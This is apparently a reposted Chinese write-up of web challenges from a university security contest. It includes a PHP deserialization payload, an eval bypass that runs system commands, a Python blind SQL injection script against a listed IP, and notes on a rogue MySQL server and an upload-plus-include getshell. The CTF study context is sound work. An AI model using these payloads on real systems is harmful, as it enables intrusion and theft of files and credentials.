第12届全国大学生信息安全竞赛Web题解

栏目: PHP · 发布时间: 5年前

内容简介:根据

根据 html注释 结合 php伪协议 ,可以读取出 index.phphint.php 的源代码。

http://xxx/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

http://xxx/index.php?file=php://filter/read/convert.base64-encode/resource=hint.php

index.php中会反序列化 $_GET[“payload”] ,且 parse_url 函数处理后不能包含 flag 字符串,用 /// 即可绕过 parse_url 函数,具体可参考 http://www.am0s.com/functions/406.html

第12届全国大学生信息安全竞赛Web题解

hint.php中的对象在反序列化的时候,会先调用 __wakeup 魔术方法,其会把对象的所有属性置 null ,猜测考察的知识点是绕过 PHP反序列化 的一个 bug ,具体参考: https://mochazz.github.io/2018/12/30/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96bug/

第12届全国大学生信息安全竞赛Web题解

最后获取 flag 的地方,需要 $this->token === $this->token_flag ,而 $this->token_flag 在每次调用 getFlag 函数都会重新生成,这时候我们便可以用引用变量来解决这个问题。最终 payload 如下:

<?php  
class Handle{ 
    private $handle;  
    public function __construct($handle) { 
        $this->handle = $handle; 
    } 
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
        $this->file = $file;
        $this->token = &$this->token_flag;
    }
    
    public function getFlag(){
        // $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true); 
            }  
        }
    }
}

$flag = new Flag('flag.php');
$handle = new Handle($flag);

echo urlencode(str_replace('O:6:"Handle":1', 'O:6:"Handle":10', serialize($handle)));
?>

最后访问 http://xxx///index.php?file=hint.php&payload=上面生成的payload 即可。

第12届全国大学生信息安全竞赛Web题解

最后贴一个 PHP 反序列化标识符含义:

a - array

b - boolean

d - double

i - integer

o - common object

r - reference

s - string

C - custom object

O - class

N - null

R - pointer reference

U - unicode string

https://blog.csdn.net/heiyeshuwu/article/details/748935

love_math

calc.php源码如下:

第12届全国大学生信息安全竞赛Web题解

可以看到 $content 会经过黑白名单校验且长度不能大于等于80,通过校验的 $content 最终会在 eval 函数中执行。看到这个,就想起了之前遇到的无字母 webshell 的题目。而这里只能用 $whitelist 中的函数。在查阅 base_convert 函数时,发现其可以进行2~36进制之间的转换,超过9的部分用字母a-z表示,即可表示的字符范围是:0-9a-z。,下面我们就可以构造最简单的 phpinfo : base_convert(55490343972,10,36)()

➜  Desktop php -a

php > echo base_convert('phpinfo',36,10);
55490343972

第12届全国大学生信息安全竞赛Web题解

执行 system(‘ls’) :base_convert(1751504350,10,36)(base_convert(784,10,36))

➜  Desktop php -a

php > echo base_convert('system',36,10);
1751504350
php > echo base_convert('ls',36,10);
784
php > echo strlen('base_convert(1751504350,10,36)(base_convert(784,10,36))');
55

第12届全国大学生信息安全竞赛Web题解

由于不能引入0-9a-z以外的字符,所以这里又通过构造 hex2bin 来执行命令。

➜  Desktop php -a

php > echo base_convert('exec',36,10);
696468
php > echo base_convert('hex2bin',36,10);
37907361743
php > echo hexdec(bin2hex('ls *'));
1819484202
php > echo strlen('base_convert(696468,10,36)(base_convert(37907361743,10,36)(dechex(1819484202)))');
79

第12届全国大学生信息安全竞赛Web题解

但是用 exec 有个问题,就是只会显示返回结果的最后一行,这样就没办法看到 flag ,强行构造就超出80字符的限制了。后来又想到之前做的40字符限制的题目,想着应该要通过其他参数引入的方式,打破字符长度限制,于是开始构造 $_GET

➜  Desktop php -a

php > echo base_convert('hex2bin',36,10);
37907361743
php > echo hexdec(bin2hex('_GET'));
1598506324

payload:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})π=system&abs=tac flag.php
相当于:
$pi=_GET;($_GET[pi])($_GET[abs])

我们将要执行的函数和参数通过其他参数引入,这里变量名和函数名必须在白名单中。

第12届全国大学生信息安全竞赛Web题解

这里有用到一个trick,就是使用 {} 来代替 [] 进行数组索引,这个其实在PHP手册中有提到,具体参看这个用例的Note: https://www.php.net/manual/en/language.types.array.php#language.types.array.syntax.accessing 。另外PHP5和7的一些差别,可以参看一下手册: https://www.php.net/manual/zh/migration70.php

全宇宙最简单的SQL

WAF会将某些字符替换成 QwQ ,经过测试,发现过滤了 |、or、sleep、if、benchmark、case 等字符。

返回信息有两种:

  • SQL语法正确的话,如果账号密码不对,会显示 登陆失败 。例如: username=admin&password=admin
  • SQL语法不正确的话,会显示 数据库操作失败 。例如: username=admin'&password=admin

那么我们可以利用逻辑运算符和溢出报错来进行注入,例如这里我们用 pow(9999,100) ,这个表达式的值在 MYSQL 中已经超出 double 范围,会溢出。如下图,当我们盲注语句结果为真时,就会执行到溢出语句,返回结果为 数据库操作失败 ;当我们盲注语句结果为假时,由于 and短路运算 ,根本不会执行到溢出语句,所以返回结果为 登陆失败

第12届全国大学生信息安全竞赛Web题解

通过这种注入方式,我们可以得到以下信息:

  • mysql版本:5.5.62
  • 库名:ctf
  • 用户:ctt123

但是无法注出表名和列名,因为 or 被过滤了, information_schema 就不能用了。不过我们可以通过语句: admin’^1+and+substr((select+username+from+user+limit+1),1,1)=’a’+and+pow(9999,100)%23 ,判断出其存在 user 表和 username 列,再根据题目的界面显示的内容,猜测其可能还存在 password 列。但是 password 又包含 or 关键字,这时想起了以前看过的一篇文章: 如何在不知道 MySQL 列名的情况下注入出数据? 。最终可以用这个技巧注出 admin 用户的密码: f1ag@1s-at_/fll1llag_h3r3 ,注入脚本如下:

import requests,re

url = "http://39.97.167.120:52105"
admin_pass = ''
charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$%&\'()*+,-./:;<=>?@[\\]^_`}{~#'
for i in range(1,100):
    for char in charset:
        if char == '#':
            # print('#')
            # print(admin_pass)
            exit()
        datas = {
            'username' : "admin'^1 and substr((select `2` from (select 1,2 union select * from user)a limit 1,1),%d,1)='%s' and pow(9999,100)#" % (i,char),
            'password' : 'admin'
        }
        r = requests.post(url=url,data = datas)
        r.encoding = r.apparent_encoding
        if '数据库操作失败' in r.text:
            # print(char)
            admin_pass += char
            print(admin_pass)
            break

第12届全国大学生信息安全竞赛Web题解

但是仍然还是无法登录,看密码的含义,应该要读取 /fll1llag_h3r3 文件。但是用了 Mysql 中的读取函数,发现并不行,于是又想到我上面的脚本直接比较的是字符,可能存在大小写问题。后来用ASCII值来判断,跑出来的结果是: F1AG@1s-at_/fll1llag_h3r3 。再次登录,发现多了远程连接 Mysql 的功能。

第12届全国大学生信息安全竞赛Web题解

这个考点,一下子让我想起上周DDCTF的题目。通过伪造 Mysql 服务端,任意读取连接过来的客户端的本地文件,从而获取flag。这里我直接用github上写好的脚本,修改代码中的文件名即可。 https://github.com/allyshka/Rogue-MySql-Server

第12届全国大学生信息安全竞赛Web题解

RefSpace

通过 php伪协议 可以获得部分源码,整理可得题目环境中的文件结构如下:

➜  html tree 
.
├── app
│   ├── flag.php
│   ├── index.php
│   └── Up10aD.php
├── backup.zip
├── flag.txt
├── index.php
├── robots.txt
└── upload

2 directories, 7 files

源码如下:

第12届全国大学生信息安全竞赛Web题解

第12届全国大学生信息安全竞赛Web题解

可以看到 index.php 中存在任意文件包含,但是限制了文件名后缀只能是 .php ,而 app/Up10aD.php 文件中存在上传功能,刚好可以配合前面的文件包含进行 getshell 。具体可以参考: zip或phar协议包含文件 。getshell之后,只在服务器上发现了加密后的flag.txt。在 app/flag.php 开头添加上如下代码,访问时 $key 值随便填。

namespace interesting;
function sha1($var) { // 调用类的私有、保护方法
    $class = new \ReflectionClass('interesting\FlagSDK');
    $method = $class->getMethod('getHash');
    $method->setAccessible(true);
    $instance = $class->newInstance();
    return $method->invoke($instance);
}

其原理就是通过命名空间,定义一个同名函数 sha1 ,在代码调用时,会优先调用本命名空间中的同名函数。另外还有一个考点就是通过反射调用类的私有、保护方法,具体百度即可。绕过 sha1 的比较,我们就能拿到flag了, backup.zip/sdk开发文档.txt 中的 return “too{young-too-simple}” 只是个例子,其真正的语句类似 return openssl_decrypt(file_get_contents(‘flag路径’), ‘加密算法’, $key)


以上所述就是小编给大家介绍的《第12届全国大学生信息安全竞赛Web题解》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Little Prover

The Little Prover

Daniel P. Friedman、Carl Eastlund / The MIT Press / 2015-7-10 / USD 38.00

[FROM www.amazon.com]: The Little Prover introduces inductive proofs as a way to determine facts about computer programs. It is written in an approachable, engaging style of question-and-answer, wi......一起来看看 《The Little Prover》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具